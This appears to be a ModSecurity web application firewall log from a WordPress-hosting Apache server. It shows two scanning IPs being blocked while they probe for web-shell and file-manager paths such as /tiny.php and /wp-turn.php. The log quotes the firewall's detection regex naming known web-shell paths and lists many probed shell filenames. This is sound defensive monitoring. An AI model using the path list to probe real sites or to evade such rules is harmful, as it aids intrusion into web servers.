[Fri Apr 10 21:57:59.476170 2026] [:error] [pid 62710:tid 62722] [client 20.238.64.167:36096] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "adkB5-ME7qrf5xEWWJsg6wAAAgk"]
[Fri Apr 10 21:57:59.985852 2026] [:error] [pid 63134:tid 63160] [client 20.238.64.167:36158] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adkB59FALqPDwWi6eJKrhwAAA9c"]
[Fri Apr 10 21:58:00.488348 2026] [:error] [pid 62884:tid 62906] [client 20.238.64.167:8149] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adkB6OUCK1xrhnnmpo2H0gAAAs8"]
[Fri Apr 10 21:58:01.003397 2026] [:error] [pid 13189:tid 13216] [client 20.238.64.167:38303] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adkB6ZAxiJKPums3eBDNUwAAAFg"]
[Fri Apr 10 21:58:01.507990 2026] [:error] [pid 13189:tid 13215] [client 20.238.64.167:38301] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adkB6ZAxiJKPums3eBDNWAAAAFc"]
[Fri Apr 10 21:58:02.013410 2026] [:error] [pid 13189:tid 13199] [client 20.238.64.167:36101] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-turn.php"] [unique_id "adkB6pAxiJKPums3eBDNWwAAAEc"]
[Fri Apr 10 21:58:02.513811 2026] [:error] [pid 62884:tid 62896] [client 20.238.64.167:8152] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-turn.php"] [unique_id "adkB6uUCK1xrhnnmpo2H0wAAAsU"]
[Fri Apr 10 21:58:03.014300 2026] [:error] [pid 13189:tid 13201] [client 20.238.64.167:38296] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-turn.php"] [unique_id "adkB65AxiJKPums3eBDNYAAAAEk"]
[Fri Apr 10 21:58:03.509293 2026] [:error] [pid 63134:tid 63144] [client 20.238.64.167:8138] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-turn.php"] [unique_id "adkB69FALqPDwWi6eJKriwAAA8c"]
[Fri Apr 10 21:58:04.006848 2026] [:error] [pid 62710:tid 62721] [client 20.238.64.167:38305] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "adkB7OME7qrf5xEWWJsg8AAAAgg"]
[Fri Apr 10 21:58:04.502387 2026] [:error] [pid 13101:tid 13153] [client 20.238.64.167:38302] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "adkB7N8Ldw85818pj2rqzgAAAJQ"]
[Fri Apr 10 21:58:04.998419 2026] [:error] [pid 62884:tid 62893] [client 20.238.64.167:36144] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "adkB7OUCK1xrhnnmpo2H1wAAAsI"]
[Fri Apr 10 21:58:05.515355 2026] [:error] [pid 62710:tid 62725] [client 20.238.64.167:38295] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "adkB7eME7qrf5xEWWJsg9gAAAgw"]
[Fri Apr 10 21:58:06.021343 2026] [:error] [pid 13101:tid 13157] [client 20.238.64.167:38333] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/red.php"] [unique_id "adkB7t8Ldw85818pj2rq0QAAAJg"]
[Fri Apr 10 21:58:06.515850 2026] [:error] [pid 13100:tid 13119] [client 20.238.64.167:38328] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/red.php"] [unique_id "adkB7lzg-ZkZ0InWIP3C7AAAAQ4"]
[Fri Apr 10 21:58:07.015954 2026] [:error] [pid 13189:tid 13213] [client 20.238.64.167:36139] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/red.php"] [unique_id "adkB75AxiJKPums3eBDNaQAAAFU"]
[Fri Apr 10 21:58:07.512316 2026] [:error] [pid 13189:tid 13208] [client 20.238.64.167:38308] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/red.php"] [unique_id "adkB75AxiJKPums3eBDNbQAAAFA"]
[Fri Apr 10 21:58:08.020662 2026] [:error] [pid 13101:tid 13156] [client 20.238.64.167:36117] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "adkB8N8Ldw85818pj2rq1QAAAJc"]
[Fri Apr 10 21:58:08.518165 2026] [:error] [pid 63062:tid 63066] [client 20.238.64.167:36098] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "adkB8J2HtsmV85NqkMf12wAAA4I"]
[Fri Apr 10 21:58:09.019023 2026] [:error] [pid 13101:tid 13133] [client 20.238.64.167:38276] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "adkB8d8Ldw85818pj2rq3QAAAIA"]
[Fri Apr 10 21:58:09.514895 2026] [:error] [pid 13101:tid 13141] [client 20.238.64.167:36131] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "adkB8d8Ldw85818pj2rq3gAAAIg"]
[Fri Apr 10 21:58:10.022157 2026] [:error] [pid 63062:tid 63067] [client 20.238.64.167:36123] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adkB8p2HtsmV85NqkMf13gAAA4M"]
[Fri Apr 10 21:58:10.514930 2026] [:error] [pid 13101:tid 13150] [client 20.238.64.167:36118] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adkB8t8Ldw85818pj2rq4QAAAJE"]
[Fri Apr 10 21:58:11.013476 2026] [:error] [pid 63134:tid 63156] [client 20.238.64.167:36127] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adkB89FALqPDwWi6eJKrmAAAA9M"]
[Fri Apr 10 21:58:11.514558 2026] [:error] [pid 13101:tid 13154] [client 20.238.64.167:38330] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adkB898Ldw85818pj2rq5wAAAJU"]
[Fri Apr 10 21:58:12.022681 2026] [:error] [pid 63134:tid 63149] [client 20.238.64.167:36134] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "adkB9NFALqPDwWi6eJKrmgAAA8w"]
[Fri Apr 10 21:58:12.514991 2026] [:error] [pid 63062:tid 63074] [client 20.238.64.167:38293] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "adkB9J2HtsmV85NqkMf14wAAA4o"]
[Fri Apr 10 21:58:12.519857 2026] [:error] [pid 13189:tid 13214] [client 20.251.36.179:19924] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ew.php"] [unique_id "adkB9JAxiJKPums3eBDNfQAAAFY"]
[Fri Apr 10 21:58:13.021201 2026] [:error] [pid 13101:tid 13155] [client 20.238.64.167:36132] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "adkB9d8Ldw85818pj2rq7gAAAJY"]
[Fri Apr 10 21:58:13.475402 2026] [:error] [pid 13189:tid 13197] [client 20.251.36.179:36403] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ew.php"] [unique_id "adkB9ZAxiJKPums3eBDNgAAAAEU"]
[Fri Apr 10 21:58:13.516004 2026] [:error] [pid 62819:tid 62824] [client 20.238.64.167:36135] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "adkB9fU20EyPf7NlslduIwAAAoI"]
[Fri Apr 10 21:58:14.016251 2026] [:error] [pid 62819:tid 62831] [client 20.238.64.167:38290] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "adkB9vU20EyPf7NlslduJAAAAok"]
[Fri Apr 10 21:58:14.512167 2026] [:error] [pid 62884:tid 62908] [client 20.238.64.167:36152] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "adkB9uUCK1xrhnnmpo2H3gAAAtE"]
[Fri Apr 10 21:58:15.008451 2026] [:error] [pid 62651:tid 62663] [client 20.238.64.167:38272] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "adkB9zbAH0le57SIaqwo6wAAAco"]
[Fri Apr 10 21:58:15.504038 2026] [:error] [pid 62651:tid 62675] [client 20.238.64.167:8139] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "adkB9zbAH0le57SIaqwo7gAAAdY"]
[Fri Apr 10 21:58:16.010222 2026] [:error] [pid 63062:tid 63088] [client 20.238.64.167:38313] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "adkB-J2HtsmV85NqkMf16wAAA5g"]
[Fri Apr 10 21:58:16.498245 2026] [:error] [pid 13100:tid 13117] [client 20.251.36.179:50508] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ew.php"] [unique_id "adkB-Fzg-ZkZ0InWIP3C-wAAAQw"]
[Fri Apr 10 21:58:16.510318 2026] [:error] [pid 63062:tid 63067] [client 20.238.64.167:38277] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "adkB-J2HtsmV85NqkMf17AAAA4M"]
[Fri Apr 10 21:58:17.005013 2026] [:error] [pid 62819:tid 62823] [client 20.238.64.167:38331] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "adkB-fU20EyPf7NlslduJQAAAoE"]
[Fri Apr 10 21:58:17.502681 2026] [:error] [pid 13189:tid 13201] [client 20.238.64.167:36122] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "adkB-ZAxiJKPums3eBDNhgAAAEk"]
[Fri Apr 10 21:58:17.994023 2026] [:error] [pid 13101:tid 13156] [client 20.238.64.167:36130] [client 20.238.64.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "adkB-d8Ldw85818pj2rq8AAAAJc"]
[Fri Apr 10 21:58:18.149304 2026] [:error] [pid 62769:tid 62771] [client 20.251.36.179:41671] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ew.php"] [unique_id "adkB-sWsSnfLoB8ifjBsfwAAAkA"]
[Fri Apr 10 21:58:18.490355 2026] [:error] [pid 63062:tid 63065] [client 20.238.64.167:38325] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "adkB-p2HtsmV85NqkMf18QAAA4E"]
[Fri Apr 10 21:58:18.991228 2026] [:error] [pid 62884:tid 62913] [client 20.238.64.167:8155] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "adkB-uUCK1xrhnnmpo2H4gAAAtY"]
[Fri Apr 10 21:58:19.490057 2026] [:error] [pid 62769:tid 62791] [client 20.238.64.167:8003] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "adkB-8WsSnfLoB8ifjBsggAAAlQ"]
[Fri Apr 10 21:58:19.993919 2026] [:error] [pid 63062:tid 63071] [client 20.238.64.167:8154] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myy.php"] [unique_id "adkB-52HtsmV85NqkMf19wAAA4c"]
[Fri Apr 10 21:58:20.496678 2026] [:error] [pid 63062:tid 63066] [client 20.238.64.167:36154] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myy.php"] [unique_id "adkB_J2HtsmV85NqkMf1_QAAA4I"]
[Fri Apr 10 21:58:20.867140 2026] [:error] [pid 63062:tid 63081] [client 20.251.36.179:41713] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "adkB_J2HtsmV85NqkMf2AAAAA5E"]
[Fri Apr 10 21:58:20.994696 2026] [:error] [pid 63062:tid 63065] [client 20.238.64.167:36128] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myy.php"] [unique_id "adkB_J2HtsmV85NqkMf2AgAAA4E"]
[Fri Apr 10 21:58:21.499617 2026] [:error] [pid 63062:tid 63079] [client 20.238.64.167:8099] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myy.php"] [unique_id "adkB_Z2HtsmV85NqkMf2BgAAA48"]
[Fri Apr 10 21:58:21.864354 2026] [:error] [pid 62710:tid 62723] [client 20.251.36.179:36356] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "adkB_eME7qrf5xEWWJshFAAAAgo"]
[Fri Apr 10 21:58:22.002675 2026] [:error] [pid 13189:tid 13193] [client 20.238.64.167:38300] [client 20.238.64.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "adkB_pAxiJKPums3eBDNiwAAAEE"]
[Fri Apr 10 21:58:22.503681 2026] [:error] [pid 13101:tid 13137] [client 20.238.64.167:8078] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdone1.php"] [unique_id "adkB_t8Ldw85818pj2rq9gAAAIQ"]
[Fri Apr 10 21:58:22.995671 2026] [:error] [pid 62710:tid 62718] [client 20.238.64.167:8161] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdone1.php"] [unique_id "adkB_uME7qrf5xEWWJshGgAAAgU"]
[Fri Apr 10 21:58:23.490302 2026] [:error] [pid 62710:tid 62733] [client 20.238.64.167:8162] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdone1.php"] [unique_id "adkB_-ME7qrf5xEWWJshHwAAAhQ"]
[Fri Apr 10 21:58:23.643988 2026] [:error] [pid 63134:tid 63154] [client 20.251.36.179:41664] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "adkB_9FALqPDwWi6eJKrpAAAA9E"]
